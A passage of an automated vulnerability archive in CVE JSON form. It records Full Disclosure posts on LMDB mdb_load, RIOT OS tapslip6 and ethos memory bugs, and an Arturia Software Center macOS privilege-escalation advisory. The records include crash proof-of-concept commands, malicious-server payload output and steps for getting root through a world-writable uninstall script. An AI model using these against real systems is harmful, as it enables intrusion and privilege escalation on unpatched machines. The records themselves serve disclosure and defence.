          "value": "This integer underflow vulnerability enables heap metadata corruption and\ninformation disclosure through carefully crafted LMDB dump files.\n\n*Impact:*\n\n   - *Denial of Service*: Immediate crash (confirmed)\n   - *Information Disclosure*: Heap metadata leak via OOB read\n\nRoot Cause:The readline() function fails to validate that the input line\nlength is non-zero before performing decrement operations, causing integer\nunderflow. An attacker can craft a malicious LMDB dump file containing\nempty lines that trigger the vulnerability when processed by mdb_load:\n*Output:*\n\n./mdb_load -T /tmp/lmdb_asan \u003c\n/root/wiredtiger/third_party/openldap_liblmdb/findings/default/crashes/id:000007,sig:06,src:000012+000030,time:43032,execs:522id:000007,sig:06,src:000012+000030,time:43032,execs:52230,op:splice,rep:13\nmdb_load.c:214:9: runtime error: addition of unsigned offset to\n0x521000000100 overflowed to 0x5210000000ff\nSUMMARY: UndefinedBehaviorSanitizer: undefined-behavior mdb_load.c:214:9\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:42:56Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/8"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jan/8"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jan/8"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "MongoDB v8.3.0 Integer Underflow in LMDB mdb_load",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0318",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/8",
            "automated": true,
            "contentSha256": "f6ee6532880b5db59db360c75f13190709bcbbdb9839409a725973fc38fef448",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/8",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-01-01T04:17:45Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-09T13:42:56Z",
    "dateUpdated": "2026-09-09T13:42:56Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0318"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "RIOT OS",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "A stack-based buffer overflow vulnerability exists in the tapslip6 utility\ndistributed with RIOT OS (and derived from the legacy uIP/Contiki\nnetworking tools). The vulnerability is caused by unsafe string\nconcatenation in the devopen() function, which constructs a device path\nusing unbounded user-controlled input.\nSpecifically, tapslip6 uses strcpy() and strcat() to concatenate the fixed\nprefix \"/dev/\" with a user-supplied device name provided via the -s\ncommand-line option. No bounds checking is performed, allowing an attacker\nto supply an excessively long device name and overflow a fixed-size stack\nbuffer. This issue can lead to process crashes and memory corruption. While\nexploitation requires local access, the affected utility is commonly\nexecuted with elevated privileges during development, testing, or\ndeployment of RIOT OS networking environments, increasing impact.\n\n\n\n*Root Cause:*int devopen(const char *dev, int flags)\n{\n    char t[1024];\n    strcpy(t, \"/dev/\");\n    strcat(t, dev);\n    return open(t, flags);\n}\n\n*Impact:*\n\n   - Stack-based buffer overflow\n   - Process termination (Denial of Service)\n   - Memory corruption\n\n\n\n\n*Proof of Concept:*./tapslip6 -s $(python3 - \u003c\u003c \u0027EOF\u0027\nprint(\"A\"*3000)\nEOF\n) 10.0.0.1 255.255.255.0\n\n\n\n*Output:*=================================================================\n==492967==ERROR: AddressSanitizer: stack-buffer-overflow on address\n0xfbffa6001140 at pc 0xaaaab3e609a4 bp 0xffffd6e212c0 sp 0xffffd6e20ab0\nWRITE of size 3001 at 0xfbffa6001140 thread T0\n    #0 0xaaaab3e609a0 in strcat\n(/root/RIOT/dist/tools/tunslip/tapslip6+0xc09a0) (BuildId:\ncf8e25195b4cb64b5a381ae2324d1971ccc6d6ab)\n    #1 0xaaaab3ec04f0 in devopen\n/root/RIOT/dist/tools/tunslip/tapslip6.c:420:5\n    #2 0xaaaab3ec04f0 in main\n/root/RIOT/dist/tools/tunslip/tapslip6.c:629:18\n    #3 0xffffa7a42598 in __libc_start_call_main\ncsu/../sysdeps/nptl/libc_start_call_main.h:58:16\n    #4 0xffffa7a42678 in __libc_start_main csu/../csu/libc-start.c:360:3\n    #5 0xaaaab3dd73ec in _start\n(/root/RIOT/dist/tools/tunslip/tapslip6+0x373ec) (BuildId:\ncf8e25195b4cb64b5a381ae2324d1971ccc6d6ab)\n\nAddress 0xfbffa6001140 is located in stack of thread T0 at offset 4416 in\nframe\n    #0 0xaaaab3ebfef8 in main /root/RIOT/dist/tools/tunslip/tapslip6.c:543\n\nSUMMARY: AddressSanitizer: stack-buffer-overflow\n(/root/RIOT/dist/tools/tunslip/tapslip6+0xc09a0) (BuildId:\ncf8e25195b4cb64b5a381ae2324d1971ccc6d6ab) in strcat\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:42:56Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/15"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jan/15"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jan/15"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "RIOT OS 2026.01-devel-317 Stack-Based Buffer Overflow in tapslip6 Utility via Unbounded Device Path Construction",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2021-27427",
              "type": "possibly_related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0317",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/15",
            "automated": true,
            "contentSha256": "8c077fa2184f92c4a9ea9ea71d6967479a85d54ed3995a81392242f5423afcc0",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/15",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-01-08T15:42:45Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0317"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-09T13:42:56Z",
    "dateUpdated": "2026-09-09T13:42:56Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0317"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "RIOT OS",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "A stack-based buffer overflow vulnerability exists in the RIOT OS ethos\nutility due to missing bounds checking when processing incoming serial\nframe data. The vulnerability occurs in the _handle_char() function, where\nincoming frame bytes are appended to a fixed-size stack buffer\n(serial-\u003eframe) without verifying that the current write index\n(serial-\u003eframebytes) remains within bounds. An attacker capable of sending\ncrafted serial or TCP-framed input can cause serial-\u003eframebytes to exceed\nthe buffer size (MTU, 9000 bytes), resulting in a write past the end of the\nstack buffer. This condition leads to memory corruption, application crash,\nand potentially arbitrary code execution depending on compiler options and\nruntime protections.\n\n\n*Vulnerable Code:*\nstatic void _handle_char(serial_t *serial, char c)\n{\n    serial-\u003eframe[serial-\u003eframebytes] = c;\n    serial-\u003eframebytes++;\n}\n\n*Root Cause:*\n\n* serial-\u003eframe is a fixed-size stack buffer (char frame[MTU])\n* serial-\u003eframebytes is unbounded and attacker-controlled\n* No validation against MTU before writing\n\n\n\n*Proof of Concept:*\n\n\n*listener:*# python3 payload.py\n\nThis exploit acts as a MALICIOUS SERVER.\nRun ethos like: ./ethos tap0 tcp:127.0.0.1 20000\nThe exploit will send the payload when ethos connects.\n\n\n[*] Starting malicious server on 0.0.0.0:20000\n[*] Architecture: aarch64\n[*] Exploitation mode: crash\n\n[+] Server listening on 0.0.0.0:20000\n\n[!] Waiting for ethos to connect...\n[*] Run ethos like this:\n  ./ethos tap0 tcp:127.0.0.1 20000\n\n[+] ethos client connected from (\u0027127.0.0.1\u0027, 37114)\n[*] Generating crash payload...\n[+] Crash payload ready: 9501 bytes\n[*] Waiting 1 second before sending payload...\n[*] Sending malicious payload (9501 bytes)...\n[*] Sent 1024/9501 bytes...\n[*] Sent 2048/9501 bytes...\n[*] Sent 3072/9501 bytes...\n[*] Sent 4096/9501 bytes...\n[*] Sent 5120/9501 bytes...\n[*] Sent 6144/9501 bytes...\n[*] Sent 7168/9501 bytes...\n[*] Sent 8192/9501 bytes...\n[*] Sent 9216/9501 bytes...\n[*] Sent 9501/9501 bytes...\n[+] Payload sent successfully!\n[!] ethos client should crash now (check for ASAN output)\n[*] Received response:\nb\u0027~}\"\\x00\\x00\\x00\\x00\\x00\\x00~~}\"\\x00\\x00\\x00\\x00\\x00\\x00~\u0027\n[*] Connection from (\u0027127.0.0.1\u0027, 37114) closed\n\n\n\n*Connection:*\n./ethos tap0 tcp:127.0.0.1 20000\n\n\n\n*Output:*----\u003e ethos: sending hello.\n----\u003e ethos: activating serial pass through.\nethos.c:186:5: runtime error: index 9000 out of bounds for type \u0027char[9000]\u0027\nSUMMARY: UndefinedBehaviorSanitizer: undefined-behavior ethos.c:186:5\n=================================================================\n==1375066==ERROR: AddressSanitizer: stack-buffer-overflow on address\n0xfbff8f804848 at pc 0xaaaae0b9fad0 bp 0xffffece78420 sp 0xffffece78418\nWRITE of size 1 at 0xfbff8f804848 thread T0\n    #0 0xaaaae0b9facc in _handle_char\n/root/RIOT/dist/tools/ethos/ethos.c:186:39\n    #1 0xaaaae0b9ed38 in _serial_handle_byte\n/root/RIOT/dist/tools/ethos/ethos.c:216:17\n    #2 0xaaaae0b9ed38 in main /root/RIOT/dist/tools/ethos/ethos.c:559:34\n    #3 0xffff91162598 in __libc_start_call_main\ncsu/../sysdeps/nptl/libc_start_call_main.h:58:16\n    #4 0xffff91162678 in __libc_start_main csu/../csu/libc-start.c:360:3\n    #5 0xaaaae0ab67ec in _start (/root/RIOT/dist/tools/ethos/ethos+0x367ec)\n(BuildId: 4734887eb4858e961729a4e74b8fbfbd73e74d82)\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:42:56Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/16"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jan/16"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jan/16"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "RIOT OS 2026.01-devel-317 Stack-Based Buffer Overflow in RIOT ethos Serial Frame Parser",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2021-27427",
              "type": "possibly_related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0316",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/16",
            "automated": true,
            "contentSha256": "63267818b090ebf6c24cf8bc4bb438065e200145a28492f0ccdbca2b2dda8293",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/16",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-01-10T05:26:58Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0316"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-09T13:42:56Z",
    "dateUpdated": "2026-09-09T13:42:56Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0316"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "MongoDB",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "A heap buffer underflow vulnerability exists in the readline() function of\nOpenLDAP\u0027s Lightning Memory-Mapped Database (LMDB) mdb_load utility. The\nvulnerability is triggered through malformed input data and results in an\nout-of-bounds read one byte before an allocated heap buffer. This can lead\nto information disclosure through heap memory leakage.\n\n*Root Cause:*\nThe vulnerability occurs in the readline() function at line 214 of\nmdb_load.c. The ASAN output reveals two critical issues:\n1. *Integer Underflow:* An unsigned offset addition to 0x521000000100\nresults in underflow to 0x5210000000ff, indicating a pointer decrement\noperation that wraps below the buffer start\n2. *Out-of-bounds Read: *The subsequent memory access reads 1 byte at\naddress 0x5210000000ff, which is located 1 byte before the 4096-byte heap\nregion [0x521000000100, 0x521000001100)\n\n*Impact:*\nThe vulnerability allows a local attacker to trigger a heap out-of-bounds\nread in mdb_load, resulting in reliable denial of service and limited\ninformation disclosure of adjacent heap memory. While no write primitive is\npresent, the disclosure may expose heap metadata and contribute to exploit\nmitigation bypass in multi-stage attacks.\n\n*Evidence:*\n# Execute with crash input\n./mdb_load -T /tmp/lmdb_asan \u003c [crash_input_file]\n\n*Output:*\nmdb_load.c:214:9: runtime error: addition of unsigned offset to\n0x521000000100 overflowed to 0x5210000000ff\nSUMMARY: UndefinedBehaviorSanitizer: undefined-behavior mdb_load.c:214:9\n=================================================================\n==1215390==ERROR: AddressSanitizer: heap-buffer-overflow on address\n0x5210000000ff at pc 0xaaaacb6f5bf4 bp 0xffffc2d17d30 sp 0xffffc2d17d28\nREAD of size 1 at 0x5210000000ff thread T0\n    #0 0xaaaacb6f5bf0 in readline\n/root/wiredtiger/third_party/openldap_liblmdb/mdb_load.c:214:9\n    #1 0xaaaacb6ed614 in main\n/root/wiredtiger/third_party/openldap_liblmdb/mdb_load.c:429:9\n    #2 0xffffb4662598 in __libc_start_call_main\ncsu/../sysdeps/nptl/libc_start_call_main.h:58:16\n    #3 0xffffb4662678 in __libc_start_main csu/../csu/libc-start.c:360:3\n    #4 0xaaaacb60adec in _start\n(/root/wiredtiger/third_party/openldap_liblmdb/mdb_load+0xcadec) (BuildId:\n54fcbfcdc4f5509b87b342e8f33cab2ab3e6d444)\n\n0x5210000000ff is located 1 bytes before 4096-byte region\n[0x521000000100,0x521000001100)\nallocated by thread T0 here:\n    #0 0xaaaacb6ad4e4 in malloc\n(/root/wiredtiger/third_party/openldap_liblmdb/mdb_load+0x16d4e4) (BuildId:\n54fcbfcdc4f5509b87b342e8f33cab2ab3e6d444)\n    #1 0xaaaacb6ed068 in main\n/root/wiredtiger/third_party/openldap_liblmdb/mdb_load.c:354:17\n    #2 0xffffb4662598 in __libc_start_call_main\ncsu/../sysdeps/nptl/libc_start_call_main.h:58:16\n    #3 0xffffb4662678 in __libc_start_main csu/../csu/libc-start.c:360:3\n    #4 0xaaaacb60adec in _start\n(/root/wiredtiger/third_party/openldap_liblmdb/mdb_load+0xcadec) (BuildId:\n54fcbfcdc4f5509b87b342e8f33cab2ab3e6d444)\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow\n/root/wiredtiger/third_party/openldap_liblmdb/mdb_load.c:214:9 in readline\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:42:56Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/5"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jan/5"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jan/5"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "MongoDB v8.3.0 Heap Buffer Underflow in OpenLDAP LMDB mdb_load",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2025-0005",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/5",
            "automated": true,
            "contentSha256": "ed64e6da863b4b30592a5d0c84a0f90b3685238143542327775f7db463fe0466",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/5",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2025-12-30T03:51:57Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-09T13:42:56Z",
    "dateUpdated": "2026-09-09T13:42:56Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2025-0005"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "SEC Consult SA-20260318-0",
          "vendor": "Arturia",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "SEC Consult Vulnerability Lab via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260318-0 \u003e\n=======================================================================\n              title: Multiple Privilege Escalation Vulnerabilities\n            product: Arturia Software Center MacOS\n vulnerable version: 2.12.0.3157\n      fixed version: -\n         CVE number: CVE-2026-24062, CVE-2026-24063\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: high\n           homepage:https://www.arturia.com/technology/asc\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2026-01-02\n                 by: Florian Haselsteiner (Office Vienna)\n                     SEC Consult Vulnerability Lab\n\n                     An integrated part of SEC Consult, an Atos business\n                     Europe | Asia\n\n                     https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"We create instruments and effects that encourage musical discovery,\nreward curiosity, and savor the artistic process. We\u2019re an international\nteam of passionate people, on a mission to navigate uncharted sonic territory\nin the name of creative empowerment.\nFrom the raw analog power of Brute synthesizers to our faithful virtual\ninstrument emulations of V Collection, we provide musicians with an inspiring\nsonic experience that\u0027s instantly accessible, exploratory, and thrilling.\"\n\nSource:https://www.arturia.com/company\n\n\nBusiness recommendation:\n------------------------\nThe vendor was unresponsive and did not respond to any of our communication\nattempts. Therefore, a patch is not available. In case you are using this\nproduct, please approach the vendor and demand a fix.\n\nSEC Consult highly recommends to perform a thorough security review of the product\nconducted by security professionals to identify and resolve potential further\nsecurity issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Insufficient XPC Client validation (CVE-2026-24062)\nIt was found that the \"Privileged Helper\" component of the Arturia Software\nCenter does not perform sufficient client code signature validation when a\nclient connects. This leads to an attacker being able to connect to the helper\nand execute privileged actions leading to local privilege escalation.\n\n2) World writable uninstall.sh script executed by root (CVE-2026-24063)\nIt was found that when a plugin is installed using the Arturia Software Center,\nthat this plugin also installs an uninstall.sh bash script in a root owned path.\nThis script is written to disk with the file permissions 777, meaning it is\nwritable by any user. When uninstalling a plugin via the Arturia Software Center\nthe Privileged Helper gets instructed to execute this script.\nWhen the bash script is manipulated by an attacker this scenario will lead\nto privilege escalation.\n\n\nProof of concept:\n-----------------\n1) Insufficient XPC Client validation (CVE-2026-24062)\nThe Privileged Helper service does not check if the connecting client\nis signed with a valid code signature. Any process can connect to the\nprivileged helper and trigger privileged actions.\n\nThe following C code can be used to connect to the privileged helper and\ntrigger code execution as root. By first using the FINISHM command to achieve\n/Library/Arturia being a symlink to /tmp/test and then triggering an UNINSTA\nof /Library/Arturia/uninstall.sh, the attacker controlled bash script in\n/tmp/test/uninstall.sh will get executed by root. The following example proof\nof concept sets up the /tmp/test directory as well as the\n/tmp/test/uninstall.sh script containing commands to add the user lowpriv\nto the sudoers file.\n-----------------\n[ PoC exploit code removed ]\n-----------------\n\nThe code can be compiled using clang:\n-----------------\nclang -o exploit exploit.c\n-----------------\n\nAnd then be executed like:\n-----------------\n./exploit com.Arturia.InstallHelper\n-----------------\n\nThis will trigger execution of /tmp/test/uninstall.sh as root\nleading to privilege escalation.\n\n\n2) World writable uninstall.sh script executed by root (CVE-2026-24063)\nWhen a vst is installed via the ASC the following path will be generated:\n-----------------\n/Library/Arturia/Acid V/Acid V.vst3/Contents/Resources\n-----------------\nThe following contents are installed:\n-----------------\nuser@usersVilMachine Resources % ls -al\ntotal 8\ndrwxrwxrwx  3 root  wheel    96 Oct  9 09:27 .\ndrwxrwxrwx  7 root  wheel   224 Oct  9 09:27 ..\n-rwxrwxrwx  1 root  wheel  3315 Oct  9 09:26 uninstall.sh\nuser@usersVilMachine Resources % pwd\n/Library/Arturia/Acid V/Acid V.vst3/Contents/Resources\n-----------------\nWhen uninstalling the same software via the ASC the following XPC message\nis sent to the InstallHelper:\n-----------------\nUNINSTA /Library/Arturia/Acid V/Acid V.vst3/Contents/Resources/uninstall.sh\n-----------------\nThis will trigger execution of the uninstall.sh file as root.\nThe uninstallation can either be triggerd by exploiting the missing\nXPC client authentication of the Privileged Helper or by manually\ntriggering the uninstall via the UI.\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following version has been tested which was the latest version available\nat the time of the test:\n* 2.12.0.3157\n\nAll tests have been performed on MacOS 26.2 with SIP enabled!\n\n\nVendor contact timeline:\n------------------------\n2026-01-05: Contacting vendor throughinfo () arturia com; no response.\n2026-01-27: Contacting vendor through contact form. Got error, \"Support out of reach!\"\n2026-01-27: Contact via contact form again, seems to have a bug.\n2026-01-27: Contact viainfo () arturia com andwebmaster () arturia com; no response.\n2026-02-03: Tried to contact vendor via contact form after login. Got same error.\n2026-02-03: Contact viasales.support () arturia com; no response.\n2026-02-24: Tried to contact vendor via contact form, again same error.\n2026-02-25: Contact viaprivacy-inquiries () arturia com; no response.\n2026-03-18: Public release of advisory.\n\n\nSolution:\n---------\nThe vendor was unresponsive and did not respond to any of our communication\nattempts. Therefore, a patch is not available. In case you are using this\nproduct, please approach the vendor and demand a fix.\n\n\nWorkaround:\n-----------\nNone\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your applicationhttps://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local officeshttps://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb:https://www.sec-consult.com\nBlog:https://blog.sec-consult.com\nX:https://x.com/sec_consult\n\nEOF Florian Haselsteiner / @2026\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:41:10Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Mar/9"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Mar/9"
        },
        {
          "url": "https://blog.sec-consult.com"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://sec-consult.com/career/"
        },
        {
          "url": "https://sec-consult.com/contact/"
        },
        {
          "url": "https://sec-consult.com/vulnerability-lab/"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.arturia.com/company"
        },
        {
          "url": "https://www.arturia.com/technology/asc"
        },
        {
          "url": "https://www.sec-consult.com"
        },
        {
          "url": "https://x.com/sec_consult"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Mar/9"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SEC Consult SA-20260318-0 :: Multiple Privilege Escalation Vulnerabilities in Arturia Software Center MacOS",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-24062",
              "type": "related"
            },
            {
              "destId": "CVE-2026-24063",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0276",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Mar/9",
            "automated": true,
            "contentSha256": "3d07ec840f6a5098807bac32b8cf27bf98c69ef58cec128ce317988d74ea12ae",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Mar/9",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-03-18T15:39:22Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0276"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T08:13:43Z",
    "dateUpdated": "2026-09-09T13:41:10Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0276"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "SEC Consult SA-20260317-0",
          "vendor": "Pega",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "SEC Consult Vulnerability Lab via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
